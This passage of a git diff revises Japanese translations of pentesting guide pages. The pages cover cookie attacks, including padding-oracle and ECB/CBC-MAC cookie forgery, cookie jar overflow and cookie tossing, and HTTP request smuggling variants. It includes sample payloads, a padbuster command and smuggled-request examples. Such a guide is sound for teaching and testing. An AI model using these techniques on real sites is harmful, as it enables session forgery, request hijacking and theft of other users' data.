+この攻撃は、ログイン中のユーザーに対して、現在認証されているウェブアプリケーションで不要なアクションを実行させるものです。攻撃者は、脆弱なサイトへのすべてのリクエストに自動的に送信されるクッキーを悪用できます。 -### Empty Cookies +### 空のクッキー -（詳細は[元の研究](https://blog.ankursundara.com/cookie-bugs/)を参照してください）ブラウザは名前のないCookieの作成を許可しており、次のようにJavaScriptを通じて示すことができます： +（詳細は[元の研究](https://blog.ankursundara.com/cookie-bugs/)を参照してください）ブラウザは名前のないクッキーの作成を許可しており、次のように JavaScript で示すことができます： ```js document.cookie = "a=v1" document.cookie = "=test value;" // Setting an empty named cookie @@ -159,15 +159,15 @@ setCookie("", "a=b") // Setting the empty cookie modifies another cookie's value #### Chromeのバグ: Unicodeサロゲートコードポイントの問題 -Chromeでは、Unicodeサロゲートコードポイントがセットクッキーの一部である場合、`document.cookie` が破損し、その後空の文字列を返します: +Chromeでは、Unicodeサロゲートコードポイントがセットされたクッキーの一部である場合、`document.cookie` が破損し、その後空の文字列を返します: ```js document.cookie = "\ud800=meep" ``` -この結果、`document.cookie`は空の文字列を出力し、永続的な破損を示します。 +この結果、`document.cookie`が空の文字列を出力し、永続的な破損を示します。 #### パースの問題によるクッキーのスモグリング -(詳細は[元の研究](https://blog.ankursundara.com/cookie-bugs/)を参照) Java（Jetty、TomCat、Undertow）やPython（Zope、cherrypy、web.py、aiohttp、bottle、webob）を含むいくつかのウェブサーバーは、古いRFC2965サポートのためにクッキー文字列を誤って処理します。彼らは、セミコロンを含んでいても、ダブルクオートされたクッキー値を単一の値として読み取ります。セミコロンは通常、キーと値のペアを区切るべきです。 +(詳細は[元の研究](https://blog.ankursundara.com/cookie-bugs/)を参照) Java（Jetty、TomCat、Undertow）やPython（Zope、cherrypy、web.py、aiohttp、bottle、webob）を含むいくつかのウェブサーバーは、古いRFC2965サポートのためにクッキーストリングを誤処理します。彼らは、セミコロンを含んでいても、ダブルクオートされたクッキー値を単一の値として読み取ります。セミコロンは通常、キーと値のペアを区切るべきです。 ``` RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end"; ``` @@ -179,11 +179,11 @@ RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end"; - Zopeは、次のクッキーの解析を開始するためにカンマを探します。 - Pythonのクッキークラスは、スペース文字で解析を開始します。 -この脆弱性は、クッキーベースのCSRF保護に依存するWebアプリケーションにとって特に危険であり、攻撃者が偽装されたCSRFトークンクッキーを注入し、セキュリティ対策を回避する可能性があります。この問題は、Pythonが重複したクッキー名を処理する方法によって悪化し、最後の出現が以前のものを上書きします。また、`__Secure-`および`__Host-`クッキーが不安全なコンテキストで扱われることに対する懸念も生じ、クッキーが偽装に対して脆弱なバックエンドサーバーに渡されると、認可のバイパスにつながる可能性があります。 +この脆弱性は、クッキーベースのCSRF保護に依存するWebアプリケーションにとって特に危険であり、攻撃者が偽装されたCSRFトークンクッキーを注入し、セキュリティ対策を回避する可能性があります。この問題は、Pythonが重複したクッキー名を処理する方法によって悪化し、最後の出現が以前のものを上書きします。また、`__Secure-`および`__Host-`クッキーが安全でないコンテキストで扱われることに対する懸念を引き起こし、クッキーが偽装に対して脆弱なバックエンドサーバーに渡されると、認可のバイパスにつながる可能性があります。 ### Cookies $version and WAF bypasses -According to [**this blogpost**](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie), **`$Version=1`**クッキー属性を使用して、バックエンドが**RFC2109**のために古いロジックを使用してクッキーを解析することが可能かもしれません。さらに、**`$Domain`**や**`$Path`**のような他の値も、クッキーを使用してバックエンドの動作を変更するために使用できます。 +According to [**this blogpost**](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie), **`$Version=1`**というクッキー属性を使用して、バックエンドが**RFC2109**のために古いロジックを使用してクッキーを解析することが可能かもしれません。さらに、**`$Domain`**や**`$Path`**などの他の値を使用して、クッキーに対するバックエンドの動作を変更することができます。 #### Bypassing value analysis with quoted-string encoding @@ -218,19 +218,19 @@ Resulting cookie: name=eval('test//, comment') => allowed - **クッキー**は、**ログイン**するたびに**同じ**です。 - ログアウトして、同じクッキーを使用してみてください。 -- 2つのデバイス（またはブラウザ）で同じアカウントに同じクッキーを使ってログインしてみてください。 +- 2つのデバイス（またはブラウザ）を使用して、同じアカウントに同じクッキーでログインしてみてください。 - クッキーに情報が含まれているか確認し、変更を試みてください。 -- ほぼ同じユーザー名でいくつかのアカウントを作成し、類似点が見えるか確認してください。 -- "**ログイン状態を保持する**"オプションが存在する場合、その動作を確認してください。存在し、脆弱である可能性がある場合は、他のクッキーを使用せずに**ログイン状態を保持する**のクッキーを常に使用してください。 +- ほぼ同じユーザー名で複数のアカウントを作成し、類似点が見えるか確認してください。 +- "**ログイン状態を保持**"オプションが存在する場合、その動作を確認してください。存在し、脆弱である可能性がある場合は、他のクッキーを使用せずに**ログイン状態を保持**のクッキーを常に使用してください。 - パスワードを変更しても前のクッキーが機能するか確認してください。 #### **高度なクッキー攻撃** -ログイン時にクッキーが同じ（またはほぼ同じ）である場合、これはおそらくクッキーがアカウントのいくつかのフィールド（おそらくユーザー名）に関連していることを意味します。次に、あなたは： +ログイン時にクッキーが同じ（またはほぼ同じ）である場合、これはおそらくクッキーがアカウントのいくつかのフィールド（おそらくユーザー名）に関連していることを意味します。次に、以下を試みることができます： - 非常に**似た**ユーザー名でたくさんの**アカウント**を作成し、アルゴリズムがどのように機能しているかを**推測**してみてください。 -- **ユーザー名をブルートフォース**してみてください。クッキーがあなたのユーザー名の認証方法としてのみ保存されている場合、ユーザー名"**Bmin**"でアカウントを作成し、クッキーのすべての**ビット**を**ブルートフォース**することができます。なぜなら、あなたが試すクッキーの1つは"**admin**"に属するものだからです。 -- **パディング** **オラクル**を試してください（クッキーの内容を復号化できます）。**padbuster**を使用してください。 +- **ユーザー名をブルートフォース**してみてください。クッキーがユーザー名の認証方法としてのみ保存されている場合、ユーザー名"**Bmin**"でアカウントを作成し、クッキーのすべての**ビット**を**ブルートフォース**することができます。なぜなら、試すクッキーの1つは"**admin**"に属するものだからです。 +- **パディング** **オラクル**を試みてください（クッキーの内容を復号化できます）。**padbuster**を使用してください。 **パディングオラクル - Padbusterの例** ```bash @@ -250,17 +250,17 @@ Padbusterは複数回試行し、どの条件がエラー条件（無効なも ``` padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator ``` -この実行により、文字列 **user=administrator** が内部に含まれたクッキーが正しく暗号化され、エンコードされます。 +この実行により、**user=administrator**という文字列が含まれた正しく暗号化され、エンコードされたクッキーが得られます。 **CBC-MAC** -クッキーには何らかの値があり、CBCを使用して署名される可能性があります。その場合、値の整合性は、同じ値を使用してCBCで作成された署名です。IVとしてヌルベクターを使用することが推奨されるため、このタイプの整合性チェックは脆弱である可能性があります。 +クッキーにはいくつかの値があり、CBCを使用して署名される可能性があります。すると、値の整合性は、同じ値を使用してCBCで作成された署名になります。IVとしてヌルベクターを使用することが推奨されるため、このタイプの整合性チェックは脆弱である可能性があります。 **攻撃** 1. ユーザー名 **administ** の署名を取得 = **t** 2. ユーザー名 **rator\x00\x00\x00 XOR t** の署名を取得 = **t'** -3. クッキーに値 **administrator+t'** を設定 (**t'** は **(rator\x00\x00\x00 XOR t) XOR t** = **rator\x00\x00\x00** の有効な署名になります) +3. クッキーに値 **administrator+t'** を設定 (**t'** は **(rator\x00\x00\x00 XOR t) XOR t** の有効な署名になります = **rator\x00\x00\x00**) **ECB** @@ -271,9 +271,9 @@ padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lB ほぼ同じデータ（ユーザー名、パスワード、メールなど）を持つ2つのユーザーを作成し、与えられたクッキー内のパターンを発見しようとします。 -例えば "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" というユーザーを作成し、クッキーにパターンがあるかどうかを確認します（ECBは同じキーで各ブロックを暗号化するため、ユーザー名が暗号化されると同じ暗号化されたバイトが現れる可能性があります）。 +例えば「aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa」というユーザーを作成し、クッキーにパターンがあるかどうかを確認します（ECBは同じキーで各ブロックを暗号化するため、ユーザー名が暗号化されると同じ暗号化されたバイトが現れる可能性があります）。 -使用されるブロックのサイズでパターンが存在するはずです。したがって、"a" の一群がどのように暗号化されるかを知っていれば、ユーザー名を "a"\*(ブロックのサイズ)+"admin" と作成できます。その後、クッキーから "a" のブロックの暗号化パターンを削除することができます。そして、ユーザー名 "admin" のクッキーを得ることができます。 +使用されるブロックのサイズでパターンが存在するはずです。したがって、「a」をブロックのサイズ分繰り返した後に「admin」を追加したユーザー名を作成できます。その後、クッキーから「a」のブロックの暗号化パターンを削除することができます。そして、ユーザー名「admin」のクッキーを得ることができます。 ## 参考文献 diff --git a/src/pentesting-web/hacking-with-cookies/cookie-bomb.md b/src/pentesting-web/hacking-with-cookies/cookie-bomb.md index d95ab00f1..aa420000c 100644 --- a/src/pentesting-web/hacking-with-cookies/cookie-bomb.md +++ b/src/pentesting-web/hacking-with-cookies/cookie-bomb.md @@ -1,9 +1,9 @@ {{#include ../../banners/hacktricks-training.md}} -**`Cookie bomb`** は、**ユーザーをターゲットにして、ドメインおよびそのサブドメインに大量の大きなクッキーを追加すること**を含みます。この行動は、被害者が**サーバーに対して過剰なHTTPリクエストを送信する**結果となり、これらはその後**サーバーによって拒否されます**。その結果、特定のユーザーに対してドメインおよびそのサブドメイン内でのサービス拒否（DoS）が引き起こされます。 +**`Cookie bomb`** は、**ユーザーをターゲットにして、ドメインとそのサブドメインに大量の大きなクッキーを追加すること**を含みます。このアクションは、被害者が**サーバーに対して過剰なHTTPリクエストを送信する**結果となり、これらはその後**サーバーによって拒否されます**。これにより、特にそのドメインとサブドメイン内のユーザーを対象としたサービス拒否（DoS）が引き起こされます。 -良い**例**はこのレポートに見ることができます: [https://hackerone.com/reports/57356](https://hackerone.com/reports/57356) +良い**例**は、この書き込みで見ることができます: [https://hackerone.com/reports/57356](https://hackerone.com/reports/57356) -さらに情報が必要な場合は、このプレゼンテーションを確認できます: [https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers?slide=26](https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers?slide=26) +さらに情報が必要な場合は、このプレゼンテーションをチェックできます: [https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers?slide=26](https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers?slide=26) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/hacking-with-cookies/cookie-jar-overflow.md b/src/pentesting-web/hacking-with-cookies/cookie-jar-overflow.md index 32a0943a3..daa1abdc1 100644 --- a/src/pentesting-web/hacking-with-cookies/cookie-jar-overflow.md +++ b/src/pentesting-web/hacking-with-cookies/cookie-jar-overflow.md @@ -1,6 +1,6 @@ {{#include ../../banners/hacktricks-training.md}} -ブラウザには、ページごとに保存できる**クッキーの数の制限**があります。したがって、何らかの理由で**クッキーを消す必要がある**場合は、**クッキージャーをオーバーフロー**させることができます。そうすれば、最も古いクッキーが削除されます。 +ブラウザには、ページごとに保存できる**クッキーの数の制限**があります。したがって、何らかの理由で**クッキーを消す必要がある**場合、**クッキージャーをオーバーフロー**させることができます。そうすれば、最も古いクッキーが削除されます。 ```javascript // Set many cookies for (let i = 0; i < 700; i++) { @@ -15,7 +15,7 @@ document.cookie = `cookie${i}=${i};expires=Thu, 01 Jan 1970 00:00:01 GMT` 注意してください。異なるドメインを指すサードパーティのクッキーは上書きされません。 > [!CAUTION] -> この攻撃は、**HttpOnlyクッキーを上書きするためにも使用でき、削除してから希望の値でリセットできます**。 +> この攻撃は、**HttpOnlyクッキーを上書きするためにも使用でき、削除してから希望の値でリセットすることができます**。 > > これを[**このラボの投稿で確認してください**](https://www.sjoerdlangkemper.nl/2020/05/27/overwriting-httponly-cookies-from-javascript-using-cookie-jar-overflow/)。 diff --git a/src/pentesting-web/hacking-with-cookies/cookie-tossing.md b/src/pentesting-web/hacking-with-cookies/cookie-tossing.md index 549384b60..cbd65af55 100644 --- a/src/pentesting-web/hacking-with-cookies/cookie-tossing.md +++ b/src/pentesting-web/hacking-with-cookies/cookie-tossing.md @@ -34,13 +34,13 @@ Cookies Hackingセクションで示されたように、**クッキーがドメ この攻撃に対する可能な保護は、**ウェブサーバーが同じ名前の2つのクッキーを異なる値で受け入れないこと**です。 -攻撃者が被害者にクッキーを与えた後にクッキーを設定するシナリオを回避するために、攻撃者は**クッキーオーバーフロー**を引き起こし、その後、**正当なクッキーが削除されたら、悪意のあるクッキーを設定する**ことができます。 +攻撃者が被害者にクッキーがすでに与えられた後にクッキーを設定するシナリオを回避するために、攻撃者は**クッキーオーバーフロー**を引き起こし、その後、**正当なクッキーが削除されたら、悪意のあるクッキーを設定する**ことができます。 {{#ref}} cookie-jar-overflow.md {{#endref}} -別の有用な**バイパス**は、**クッキーの名前をURLエンコードすること**です。いくつかの保護は、リクエスト内の同じ名前の2つのクッキーをチェックし、その後サーバーはクッキーの名前をデコードします。 +もう一つの有用な**バイパス**は、**クッキーの名前をURLエンコードすること**です。いくつかの保護は、リクエスト内の同じ名前の2つのクッキーをチェックし、その後サーバーはクッキーの名前をデコードします。 ### クッキーボム diff --git a/src/pentesting-web/http-connection-request-smuggling.md b/src/pentesting-web/http-connection-request-smuggling.md index 819c8e948..48a04d838 100644 --- a/src/pentesting-web/http-connection-request-smuggling.md +++ b/src/pentesting-web/http-connection-request-smuggling.md @@ -8,7 +8,7 @@ ### 最初のリクエスト検証 -リクエストをルーティングする際、リバースプロキシは**Hostヘッダー**に依存して、宛先のバックエンドサーバーを特定することがあります。通常、アクセスが許可されているホストのホワイトリストに依存しています。しかし、一部のプロキシには、ホワイトリストが接続内の最初のリクエストにのみ適用されるという脆弱性があります。そのため、攻撃者は最初に許可されたホストにリクエストを行い、その後同じ接続を通じて内部サイトをリクエストすることでこれを悪用することができます。 +リクエストをルーティングする際、リバースプロキシは**Hostヘッダー**に依存して、宛先のバックエンドサーバーを特定することがあり、アクセスが許可されたホストのホワイトリストに依存することがよくあります。しかし、一部のプロキシには、ホワイトリストが接続内の最初のリクエストにのみ適用されるという脆弱性があります。そのため、攻撃者は最初に許可されたホストにリクエストを行い、その後同じ接続を通じて内部サイトをリクエストすることでこれを悪用することができます。 ``` GET / HTTP/1.1 Host: [allowed-external-host] @@ -26,7 +26,7 @@ Host: example.com POST /pwreset HTTP/1.1 Host: psres.net ``` -この問題は、他の脆弱性を悪用したり、追加の仮想ホストへの不正アクセスを得るために、[Host header attacks](https://portswigger.net/web-security/host-header)（パスワードリセットポイズニングや[web cache poisoning](https://portswigger.net/web-security/web-cache-poisoning)など）と組み合わせることができます。 +この問題は、他の脆弱性を悪用したり、追加の仮想ホストへの不正アクセスを得るために、[Host header attacks](https://portswigger.net/web-security/host-header)や、パスワードリセットポイズニング、[web cache poisoning](https://portswigger.net/web-security/web-cache-poisoning)と組み合わせることができます。 > [!NOTE] > これらの脆弱性を特定するために、HTTP Request Smugglerの「connection-state probe」機能を利用できます。 diff --git a/src/pentesting-web/http-request-smuggling/README.md b/src/pentesting-web/http-request-smuggling/README.md index a37f4680e..8cab850c4 100644 --- a/src/pentesting-web/http-request-smuggling/README.md +++ b/src/pentesting-web/http-request-smuggling/README.md @@ -4,7 +4,7 @@ ## What is -この脆弱性は、**フロントエンドプロキシ**と**バックエンド**サーバーの間に**非同期化**が発生し、**攻撃者**がHTTP **リクエスト**を**送信**できる場合に発生します。このリクエストは、**フロントエンド**プロキシ（ロードバランサー/リバースプロキシ）によって**単一のリクエスト**として**解釈され**、**バックエンド**サーバーによって**2つのリクエスト**として**解釈されます**。\ +この脆弱性は、**フロントエンドプロキシ**と**バックエンド**サーバーの間に**非同期化**が発生することで、**攻撃者**がHTTP **リクエスト**を**送信**できるようになり、**フロントエンド**プロキシ（ロードバランス/リバースプロキシ）によって**単一のリクエスト**として**解釈**され、**バックエンド**サーバーによって**2つのリクエスト**として**解釈**されることを可能にします。\ これにより、ユーザーは**自分の次のリクエストをバックエンドサーバーに到着する前に**変更することができます。 ### Theory @@ -15,7 +15,7 @@ **Content-Length** -> Content-Lengthエンティティヘッダーは、受信者に送信されるエンティティボディのサイズをバイト単位で示します。 +> Content-Lengthエンティティヘッダーは、受信者に送信されるエンティティボディのサイズ（バイト単位）を示します。 **Transfer-Encoding: chunked** @@ -24,30 +24,30 @@ ### Reality -**フロントエンド**（ロードバランサー/リバースプロキシ）は_**content-length**_または_**transfer-encoding**_ヘッダーを**処理**し、**バックエンド**サーバーは**他の**ヘッダーを**処理**することで、2つのシステム間に**非同期化**を引き起こします。\ -これは非常に重大な問題であり、**攻撃者はリバースプロキシに1つのリクエストを送信でき**、それが**バックエンド**サーバーによって**2つの異なるリクエスト**として**解釈されます**。この技術の**危険性**は、**バックエンド**サーバーが**2番目のリクエストを注入されたものとして**解釈し、**そのクライアントの実際のリクエストが**注入されたリクエストの**一部**になることにあります。 +**フロントエンド**（ロードバランス/リバースプロキシ）は_**content-length**_または_**transfer-encoding**_ヘッダーを**処理**し、**バックエンド**サーバーは**他の**ヘッダーを**処理**することで、2つのシステム間に**非同期化**を引き起こします。\ +これは非常に重大な問題であり、**攻撃者はリバースプロキシに1つのリクエストを送信でき、**バックエンド**サーバーはそれを**2つの異なるリクエスト**として**解釈**します。この技術の**危険性**は、**バックエンド**サーバーが**2番目のリクエストを注入されたものとして**解釈し、**そのクライアントの実際のリクエストが**注入されたリクエストの**一部**となることにあります。 ### Particularities HTTPでは**新しい行文字は2バイトで構成されています：** -- **Content-Length**: このヘッダーは、リクエストの**ボディ**の**バイト数**を示すために**10進数**を使用します。ボディは最後の文字で終了することが期待されており、**リクエストの最後に新しい行は必要ありません**。 -- **Transfer-Encoding:** このヘッダーは、**ボディ**内で**16進数**を使用して**次のチャンクのバイト数**を示します。**チャンク**は**新しい行**で**終了**しなければなりませんが、この新しい行は**長さ指標にはカウントされません**。この転送方法は、**サイズ0のチャンクの後に2つの新しい行**で終了しなければなりません：`0` -- **Connection**: 私の経験に基づくと、リクエストスムージングの最初のリクエストでは**`Connection: keep-alive`**を使用することをお勧めします。 +- **Content-Length**: このヘッダーは、リクエストの**ボディ**の**バイト数**を示すために**10進数**の**数値**を使用します。ボディは最後の文字で終了することが期待されており、**リクエストの最後に新しい行は必要ありません**。 +- **Transfer-Encoding:** このヘッダーは、**ボディ**内で**16進数**の**数値**を使用して**次のチャンク**の**バイト数**を示します。**チャンク**は**新しい行**で**終了**しなければなりませんが、この新しい行は**長さ指標**には**カウントされません**。この転送方法は、**サイズ0のチャンクの後に2つの新しい行**で終了しなければなりません：`0` +- **Connection**: 私の経験に基づくと、リクエストスムーギングの最初のリクエストでは**`Connection: keep-alive`**を使用することをお勧めします。 ## Basic Examples > [!TIP] > Burp Suiteを使用してこれを悪用しようとする場合は、リピーターで**`Update Content-Length`と`Normalize HTTP/1 line endings`を無効にしてください**。一部のガジェットは新しい行、キャリッジリターン、誤ったContent-Lengthを悪用します。 -HTTPリクエストスムージング攻撃は、フロントエンドとバックエンドサーバーが`Content-Length`（CL）および`Transfer-Encoding`（TE）ヘッダーを解釈する際の不一致を利用して、あいまいなリクエストを送信することによって作成されます。これらの攻撃は、主に**CL.TE**、**TE.CL**、および**TE.TE**として異なる形で現れます。各タイプは、フロントエンドとバックエンドサーバーがこれらのヘッダーを優先する方法のユニークな組み合わせを表しています。脆弱性は、サーバーが同じリクエストを異なる方法で処理することから生じ、予期しない、潜在的に悪意のある結果を引き起こします。 +HTTPリクエストスムーギング攻撃は、フロントエンドとバックエンドサーバーが`Content-Length`（CL）および`Transfer-Encoding`（TE）ヘッダーを解釈する際の不一致を利用して、あいまいなリクエストを送信することによって作成されます。これらの攻撃は、主に**CL.TE**、**TE.CL**、および**TE.TE**として異なる形で現れることがあります。各タイプは、フロントエンドとバックエンドサーバーがこれらのヘッダーを優先する方法のユニークな組み合わせを表しています。脆弱性は、サーバーが同じリクエストを異なる方法で処理することから生じ、予期しない、そして潜在的に悪意のある結果を引き起こします。 ### Basic Examples of Vulnerability Types ![https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104](../../images/EKi5edAUUAAIPIK.jpg) > [!NOTE] -> 前の表にはTE.0技術を追加する必要があります。CL.0技術のように、Transfer Encodingを使用します。 +> 前の表にTE.0技術を追加する必要があります。CL.0技術のように、Transfer Encodingを使用します。 #### CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End) @@ -109,7 +109,7 @@ x= - 攻撃者は、難読化された`Transfer-Encoding`ヘッダーを持つリクエストを送信します。 - どちらのサーバー（フロントエンドまたはバックエンド）が難読化を認識できないかに応じて、CL.TEまたはTE.CLの脆弱性が悪用される可能性があります。 -- リクエストの未処理部分は、サーバーの1つによって次のリクエストの一部となり、スムージングにつながります。 +- リクエストの未処理部分は、サーバーの1つによって次のリクエストの一部となり、スムーギングが発生します。 - **例:** ``` @@ -132,7 +132,7 @@ Transfer-Encoding #### **CL.CL Scenario (Content-Length used by both Front-End and Back-End)** - 両方のサーバーは、`Content-Length`ヘッダーのみに基づいてリクエストを処理します。 -- このシナリオは通常、スムージングには至らず、両方のサーバーがリクエストの長さを解釈する方法に整合性があります。 +- このシナリオは通常、スムーギングには至らず、両方のサーバーがリクエストの長さを解釈する方法に整合性があります。 - **例:** ``` @@ -147,7 +147,7 @@ Normal Request #### **CL.0 Scenario** - `Content-Length`ヘッダーが存在し、ゼロ以外の値を持つシナリオを指し、リクエストボディにコンテンツがあることを示します。バックエンドは`Content-Length`ヘッダーを無視します（これは0として扱われます）が、フロントエンドはそれを解析します。 -- これは、サーバーがリクエストの終了を決定する方法に影響を与えるため、スムージング攻撃を理解し、作成する上で重要です。 +- スムーギング攻撃を理解し、作成する上で重要であり、サーバーがリクエストの終了を決定する方法に影響を与えます。 - **例:** ``` @@ -161,7 +161,7 @@ Non-Empty Body #### TE.0 Scenario -- 前のものと同様ですが、TEを使用します。 +- 前のものと同様ですが、TEを使用しています。 - 技術は[こちらで報告されています](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)。 - **例:** ``` @@ -185,7 +185,7 @@ EMPTY_LINE_HERE この技術は、**初期のHTTPデータを読み取る際にウェブサーバーを破壊する**ことが可能なシナリオでも有用ですが、**接続を閉じることなく**行います。この方法では、HTTPリクエストの**ボディ**が**次のHTTPリクエスト**として扱われます。 -例えば、[**この書き込み**](https://mizu.re/post/twisty-python)で説明されているように、Werkzeugではいくつかの**Unicode**文字を送信することでサーバーが**破壊**されることが可能でした。しかし、HTTP接続が**`Connection: keep-alive`**ヘッダーで作成された場合、リクエストのボディは読み取られず、接続は依然としてオープンのままとなり、リクエストの**ボディ**は**次のHTTPリクエスト**として扱われます。 +例えば、[**この書き込み**](https://mizu.re/post/twisty-python)で説明されているように、Werkzeugではいくつかの**Unicode**文字を送信することでサーバーが**破壊**されることが可能でした。しかし、HTTP接続が**`Connection: keep-alive`**ヘッダーで作成された場合、リクエストのボディは読み取られず、接続は依然としてオープンのままとなるため、リクエストの**ボディ**は**次のHTTPリクエスト**として扱われます。 #### ホップバイホップヘッダーによる強制 @@ -201,7 +201,7 @@ Connection: Content-Length ## HTTPリクエストスムージングの発見 -HTTPリクエストスムージングの脆弱性を特定するには、サーバーが操作されたリクエストに応答するのにかかる時間を観察するタイミング技術を使用することがよくあります。これらの技術は、特にCL.TEおよびTE.CLの脆弱性を検出するのに役立ちます。これらの方法に加えて、他にも脆弱性を見つけるために使用できる戦略やツールがあります。 +HTTPリクエストスムージングの脆弱性を特定するには、サーバーが操作されたリクエストに応答するのにかかる時間を観察するタイミング技術を使用することがよくあります。これらの技術は、特にCL.TEおよびTE.CLの脆弱性を検出するのに役立ちます。これらの方法に加えて、他にもこのような脆弱性を見つけるために使用できる戦略やツールがあります。 ### タイミング技術を使用したCL.TE脆弱性の発見 @@ -227,8 +227,8 @@ A - バックエンドサーバーはチャンクメッセージを期待しており、決して到着しない次のチャンクを待機し、遅延を引き起こします。 - **指標:** -- タイムアウトまたは応答の長い遅延。 -- バックエンドサーバーから400 Bad Requestエラーを受信することがあり、時には詳細なサーバー情報が含まれます。 +- タイムアウトや応答の長い遅延。 +- バックエンドサーバーからの400 Bad Requestエラーを受信することがあり、時には詳細なサーバー情報が含まれます。 ### タイミング技術を使用したTE.CL脆弱性の発見 @@ -265,7 +265,7 @@ X ### HTTPリクエストスムージング脆弱性テスト -タイミング技術の効果を確認した後、クライアントリクエストを操作できるかどうかを検証することが重要です。簡単な方法は、リクエストを毒殺することを試みることです。たとえば、`/`へのリクエストが404応答を返すようにします。前述の`CL.TE`および`TE.CL`の例は、クライアントが異なるリソースにアクセスしようとしているにもかかわらず、404応答を引き出すためにクライアントのリクエストを毒殺する方法を示しています。 +タイミング技術の効果を確認した後、クライアントリクエストを操作できるかどうかを検証することが重要です。簡単な方法は、リクエストを毒することを試みることです。たとえば、`/`へのリクエストが404応答を返すようにします。前述の`CL.TE`および`TE.CL`の例は、クライアントが異なるリソースにアクセスしようとしているにもかかわらず、404応答を引き出すためにクライアントのリクエストをどのように毒するかを示しています。 **重要な考慮事項** @@ -273,7 +273,7 @@ X - **異なるネットワーク接続:** 「攻撃」と「正常」リクエストは、別々のネットワーク接続を介して送信する必要があります。両方のリクエストに同じ接続を使用することは、脆弱性の存在を検証しません。 - **一貫したURLとパラメータ:** 両方のリクエストに対して同一のURLとパラメータ名を使用することを目指してください。現代のアプリケーションは、URLとパラメータに基づいてリクエストを特定のバックエンドサーバーにルーティングすることがよくあります。これらを一致させることで、両方のリクエストが同じサーバーによって処理される可能性が高まります。これは成功する攻撃の前提条件です。 -- **タイミングとレース条件:** 「正常」リクエストは、「攻撃」リクエストからの干渉を検出するために設計されており、他の同時アプリケーションリクエストと競合します。したがって、「攻撃」リクエストの直後に「正常」リクエストを送信してください。忙しいアプリケーションでは、決定的な脆弱性確認のために複数の試行が必要になる場合があります。 +- **タイミングとレース条件:** 「正常」リクエストは、「攻撃」リクエストからの干渉を検出するために設計されており、他の同時アプリケーションリクエストと競合します。したがって、「攻撃」リクエストの直後に「正常」リクエストを送信してください。忙しいアプリケーションでは、脆弱性の確認のために複数の試行が必要になる場合があります。 - **負荷分散の課題:** フロントエンドサーバーが負荷分散装置として機能する場合、リクエストをさまざまなバックエンドシステムに分配することがあります。「攻撃」と「正常」リクエストが異なるシステムに到達した場合、攻撃は成功しません。この負荷分散の側面は、脆弱性を確認するためにいくつかの試行を必要とする場合があります。 - **意図しないユーザーへの影響:** あなたの攻撃が他のユーザーのリクエスト（検出のために送信した「正常」リクエストではない）に偶然影響を与える場合、これはあなたの攻撃が他のアプリケーションユーザーに影響を与えたことを示します。継続的なテストは他のユーザーを混乱させる可能性があるため、慎重なアプローチが必要です。 @@ -377,7 +377,7 @@ csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40ema ``` このシナリオでは、**comment parameter**は公開アクセス可能なページの投稿のコメントセクション内の内容を保存することを目的としています。その結果、次のリクエストの内容はコメントとして表示されます。 -しかし、この技術には制限があります。一般的に、これはスムーズにリクエストで使用されるパラメータ区切り文字までのデータしかキャプチャしません。URLエンコードされたフォーム送信の場合、この区切り文字は`&`文字です。これは、被害者ユーザーのリクエストからキャプチャされた内容が最初の`&`で停止することを意味し、これはクエリ文字列の一部である可能性さえあります。 +しかし、この技術には制限があります。一般的に、これはスムーズにリクエストで使用されるパラメータ区切り文字までのデータしかキャプチャしません。URLエンコードされたフォーム送信の場合、この区切り文字は`&`文字です。これは、被害者ユーザーのリクエストからキャプチャされた内容が最初の`&`で止まることを意味し、これはクエリ文字列の一部である可能性さえあります。 さらに、このアプローチはTE.CL脆弱性でも有効であることに注意する価値があります。その場合、リクエストは`search=\r\n0`で終了する必要があります。改行文字に関係なく、値は検索パラメータに追加されます。 @@ -386,9 +386,9 @@ csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40ema HTTP Request Smugglingは、**Reflected XSS**に脆弱なウェブページを悪用するために利用でき、重要な利点を提供します： - 対象ユーザーとの**対話は不要**です。 -- 通常は**アクセスできない**リクエストの一部、例えばHTTPリクエストヘッダーでXSSを悪用することができます。 +- HTTPリクエストヘッダーのような**通常は到達不可能な**リクエストの一部でXSSを悪用することができます。 -ウェブサイトがUser-Agentヘッダーを通じて反射型XSSに対して脆弱な場合、以下のペイロードはこの脆弱性を悪用する方法を示しています： +ウェブサイトがUser-Agentヘッダーを介して反射型XSSに対して脆弱な場合、以下のペイロードはこの脆弱性を悪用する方法を示しています： ``` POST / HTTP/1.1 Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net @@ -411,24 +411,24 @@ A= ``` このペイロードは、脆弱性を悪用するために構成されています： -1. `Transfer-Encoding: chunked` ヘッダーを使用して、密輸の開始を示す、見た目には典型的な `POST` リクエストを開始します。 -2. 次に、チャンクメッセージボディの終わりを示す `0` が続きます。 -3. その後、密輸された `GET` リクエストが導入され、`User-Agent` ヘッダーにスクリプト `` が注入され、サーバーがこの後続のリクエストを処理する際に XSS がトリガーされます。 +1. 